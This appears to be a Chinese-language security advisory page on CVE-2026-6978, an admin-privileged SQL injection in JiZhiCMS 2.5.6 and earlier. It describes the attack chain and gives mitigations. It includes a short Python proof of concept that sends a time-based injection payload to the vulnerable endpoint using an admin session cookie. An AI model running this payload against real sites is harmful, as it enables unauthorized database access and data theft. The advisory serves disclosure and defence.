IPBUF安全漏洞报告
English
CVE-2026-6978 CVSS 4.7 中危

CVE-2026-6978 JiZhiCMS SQL注入漏洞

披露日期: 2026-04-25

漏洞信息

漏洞编号
CVE-2026-6978
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
JiZhiCMS

相关标签

SQL注入JiZhiCMSCVE-2026-6978Web安全后台漏洞

漏洞概述

JiZhiCMS在2.5.6及以下版本中存在SQL注入漏洞。该漏洞位于后台管理系统的`/index.php/admins/Sys/addcache.html`文件中,由于对`sqls`参数的处理不当,攻击者可通过`htmlspecialchars_decode`函数绕过过滤。利用此漏洞需要高权限,攻击者可远程发起攻击并执行恶意SQL语句。

技术细节

该漏洞的核心问题在于JiZhiCMS处理缓存更新逻辑时,对用户输入的`sqls`参数使用了`htmlspecialchars_decode`函数进行解码。这导致原本经过HTML实体编码的恶意SQL字符被还原为原始的特殊字符(如单引号),从而绕过了前端的输入过滤机制。由于该接口位于管理员路径下,利用该漏洞需要具备高权限(PR:H)。攻击者一旦获得管理员权限,即可构造包含SQL注入语句的payload发送至服务器,后端在未进行充分的参数化查询或转义处理的情况下,直接将数据拼接到数据库查询中,导致数据库信息泄露、数据篡改或删除。

攻击链分析

STEP 1
侦察与信息收集
攻击者识别目标网站运行的是JiZhiCMS,并确认版本号在2.5.6及以下。
STEP 2
权限获取
由于漏洞利用需要高权限(PR:H),攻击者首先需要通过弱口令爆破、钓鱼或其他漏洞获取管理员账户凭证和SessionID。
STEP 3
漏洞利用
攻击者使用管理员Cookie访问`/index.php/admins/Sys/addcache.html`接口,并在`sqls`参数中注入经过HTML实体编码的恶意SQL语句。
STEP 4
执行与数据窃取
服务器端`htmlspecialchars_decode`函数解码参数后,恶意SQL语句在数据库执行,攻击者获取敏感数据或破坏数据库完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Vulnerable endpoint) target_url = "http://example.com/index.php/admins/Sys/addcache.html" # The vulnerability is in the 'sqls' parameter. # 'htmlspecialchars_decode' reverses the encoding, allowing SQL injection. # Note: This attack requires High Privileges (Admin session). payload = { "sqls": "1' AND SLEEP(5)-- -" # Simple time-based injection test } # Admin cookies are required due to PR:H (High Privileges) cookies = { "PHPSESSID": "valid_admin_session_id_here", "admin_username": "admin" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered a delay.") else: print("[-] No delay detected, check privileges or payload.") print("[+] Response Status:", response.status_code) except Exception as e: print(f"[!] Error: {e}")

影响范围

JiZhiCMS <= 2.5.6

防御指南

临时缓解措施
在未升级补丁前,建议暂时禁用受影响的系统缓存功能或限制对`/admins/Sys/addcache.html`路径的网络访问。同时,应强制所有管理员使用强密码,并定期审计后台操作日志,以及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表